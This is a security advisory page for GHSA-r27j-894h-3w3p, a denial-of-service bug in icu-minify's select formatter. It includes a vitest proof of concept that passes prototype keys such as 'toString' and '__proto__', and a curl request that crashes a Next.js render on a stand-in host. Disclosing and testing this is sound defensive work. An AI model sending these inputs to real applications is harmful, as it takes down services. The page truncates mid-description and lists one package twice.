# GHSA-r27j-894h-3w3p: `icu-minify`'s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object.

> Attackers can crash applications using icu-minify with precompile enabled by sending specific keys that trigger prototype pollution lookups, causing a TypeError.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 6 May 2026

## What is GHSA-r27j-894h-3w3p?

GHSA-r27j-894h-3w3p is a denial of service vulnerability in icu-minify, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

`icu-minify`'s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on `Object.prototype` (e.g. `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf`), the lookup returns a truthy value that short-circuits the `?? options.other` fallback, and the downstream iterator crashes with `TypeError: nodes is not iterable`. Any consumer that forwards user input into a `{arg, select, …}` placeholder — a common idiom for `role`, `status`, `type`, `gender` — can be crashed per-request by supplying one of those keys. In Next.js SSR (via `next-intl` with `experimental.messages.precompile`) this yields a 500 for the affected render.

## Details

### Vulnerable code paths

Compilation produces a plain object whose prototype chain includes all `Object.prototype` members:

```tsx
// packages/icu-minify/src/compile.tsx:191-199
function compileSelect(node: SelectElement): CompiledNode {
  const options: SelectOptions = {};            // <-- plain object, inherits from Object.prototype

  for (const [key, option] of Object.entries(node.options)) {
    options[key] = compileNodesToNode(option.value);
  }

  return [node.value, TYPE_SELECT, options];
}
```

At runtime, the formatter looks up the user-controllable value directly on that object:

```tsx
// packages/icu-minify/src/format.tsx:226-244
function formatSelect<RichTextElement>(
  name: string,
  options: SelectOptions,
  locale: string,
  values: FormatValues<RichTextElement>,
  formatOptions: FormatOptions,
  pluralCtx: PluralContext | undefined
): string | RichTextElement | Array<string | RichTextElement> {
  const value = String(getValue(values, name));               // 234: coerce to string, no sanitization
  const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup

  if (process.env.NODE_ENV !== 'production' && !branch) {
    throw new Error(
      `No matching branch for select "${name}" with value "${value}"`
    );
  }

  return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243
}
```

Because `options` inherits from `Object.prototype`, lookups such as `options['toString']` return `Object.prototype.toString` — a truthy `Function`. The `?? options.other` fallback is therefore skipped, and the non-array, non-string branch is passed to `formatBranch`, which forwards it to `formatNodes`:

```tsx
// packages/icu-minify/src/format.tsx:286-308
function formatBranch<RichTextElement>(
  branch: CompiledNode,
  /* … */
) {
  if (typeof branch === 'string') return branch;           // string: fine
  if (branch === TYPE_POUND) return formatNode(/* … */);    // pound: fine
  return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable
}

// packages/icu-minify/src/format.tsx:73-92
function formatNodes<RichTextElement>(
  nodes: Array<CompiledNode>,
  /* … */
): Array<string | RichTextElement> {
  const result: Array<string | RichTextElement> = [];
  for (const node of nodes) {                              // 82: TypeError: nodes is not iterable
    /* … */
  }
  return result;
}
```

Five bare-prototype keys reliably crash the formatter in production: `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf` (plus `propertyIsEnumerable`, `isPrototypeOf`, `toLocaleString`). Note the development branch at line 237 (`throw new Error('No matching branch for select …')`) is bypassed because the inherited function is truthy — so this is not masked in development either.

### Why `formatPlural` is not affected

`formatPlural` (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:

1. Exact-match keys use the `=${value}` prefix (`exactKey = '=' + value`, line 263), so the attacker would need to supply e.g. `=toString`, which is not a member of `Object.prototype`.
2. The category branch uses `formatOptions.formatters.getPluralRules(locale, {type}).select(value)` which returns a fixed enum (`zero|one|two|few|many|other`), never attacker-supplied.

The bug is specific to the `select` path where the raw string value is used as the lookup key.

### Reachability

- **Direct consumers of `icu-minify`**: any code calling `format(compiled, locale, values, …)` where `values[arg]` for a `select` placeholder comes from user input is vulnerable with no additional preconditions.
- **`next-intl` users** who enable `experimental.messages.precompile` (`packages/next-intl/src/plugin/types.tsx:24`, wired in `packages/next-intl/src/plugin/getNextConfig.tsx:177-293`): the runtime at `packages/use-intl/src/core/format-message/format-only.tsx` forwards directly to `icu-minify/format`, so `t('msg', {role: req.query.role})` against a `{role, select, admin {…} other {…}}` message crashes the render.

No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — `values` reaches `format()` unmodified.

## PoC

Verified dynamically against `packages/icu-minify/src/format.tsx` at commit `b4aa538` (v4.9.1) with vitest and `NODE_ENV=production`.

Reproduction (drop into `packages/icu-minify/test/poc.test.ts` and run `pnpm exec vitest run test/poc.test.ts`):

```ts
import {describe, expect, it} from 'vitest';
import compile from '../src/compile.js';
import format, {type FormatOptions} from '../src/format.js';

const formatters: FormatOptions['formatters'] = {
  getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a),
  getNumberFormat:   (...a) => new Intl.NumberFormat(...a),
  getPluralRules:    (...a) => new Intl.PluralRules(...a)
};

describe('select prototype-key DoS', () => {
  const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');

  for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) {
    it(`crashes on role="${key}"`, () => {
      process.env.NODE_ENV = 'production';
      expect(() => format(compiled, 'en', {role: key}, {formatters}))
        .toThrow(TypeError); // "nodes is not iterable"
    });
  }
});
```

Observed output (each of the 5 keys):

```
TypeError: nodes is not iterable
    at formatNodes (packages/icu-minify/src/format.tsx:82:22)
    at formatBranch (packages/icu-minify/src/format.tsx:301:10)
    at formatSelect (packages/icu-minify/src/format.tsx:243:10)
    at formatNode (packages/icu-minify/src/format.tsx:150:14)
    at formatNodes (packages/icu-minify/src/format.tsx:83:23)
    at format (packages/icu-minify/src/format.tsx:64:18)
```

End-to-end Next.js scenario (illustrative — any attacker-controlled `role`/`status`/`type`/`gender` forwarded into a `select` placeholder triggers the same exception inside the server render):

```tsx
// app/[locale]/profile/page.tsx — assume precompile enabled
export default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) {
  const t = await getTranslations('Profile');
  const {role = 'other'} = await searchParams;
  return <h1>{t('greeting', {role})}</h1>;
  //                         ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" }
}
```

```
curl -i 'https://target.example/en/profile?role=toString'
HTTP/1.1 500 Internal Server Error
```

## Impact

- **Availability**: An unauthenticated attacker can force a 500 response on any page or API route that formats a `select` ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request.
- **Confidentiality / Integrity**: None. No data is leaked and no prototype write occurs — this is a prototype-chain *read* confusion, not a prototype pollution write.
- **Scope**: Any consumer of `icu-minify` that passes user input into a `select` branch is vulnerable. `next-intl` users are only exposed if they have opted into the experimental `experimental.messages.precompile` flag.
- **Precondit

## Which versions are affected by GHSA-r27j-894h-3w3p?

2 open source packages ship an affected version, including icu-minify.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `icu-minify` | npm | All versions | 4.9.2 |
| `icu-minify` | npm | All versions | 4.9.2 |

## How do I fix GHSA-r27j-894h-3w3p?

Upgrade icu-minify to 4.9.2 or later.

## Is GHSA-r27j-894h-3w3p being exploited?

There is no known exploitation of GHSA-r27j-894h-3w3p in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-r27j-894h-3w3p and fix it if it is affected.

What it is: GHSA-r27j-894h-3w3p is a denial of service vulnerability in icu-minify, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-r27j-894h-3w3p in the wild and no public exploit code.

Affected packages and fixed versions:
- icu-minify (npm): affected all versions; fixed in 4.9.2
- icu-minify (npm): affected all versions; fixed in 4.9.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-r27j-894h-3w3p/ (Markdown: https://insights.sbomify.com/GHSA-r27j-894h-3w3p/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-r27j-894h-3w3p

---
From sbomify Insights: https://insights.sbomify.com/GHSA-r27j-894h-3w3p/
Summaries are generated and may contain mistakes; the official description above is the record.
